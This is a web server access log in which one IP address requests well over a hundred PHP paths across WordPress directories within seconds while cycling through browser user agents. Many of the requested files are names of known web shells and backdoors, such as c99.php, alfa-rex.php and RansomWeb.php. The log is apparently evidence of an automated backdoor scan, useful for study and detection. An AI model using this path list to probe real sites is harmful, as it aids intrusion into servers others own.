84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:29 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:30 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:31 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:32 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:33 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:33 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:33 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:33 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:37:33 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:34 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:34 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:34 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:34 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:34 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:34 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:35 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:36 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:37 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:38 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:39 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:39 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:39 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:39 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:40 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:41 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:41 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:41 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:41 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:41 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:41 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET 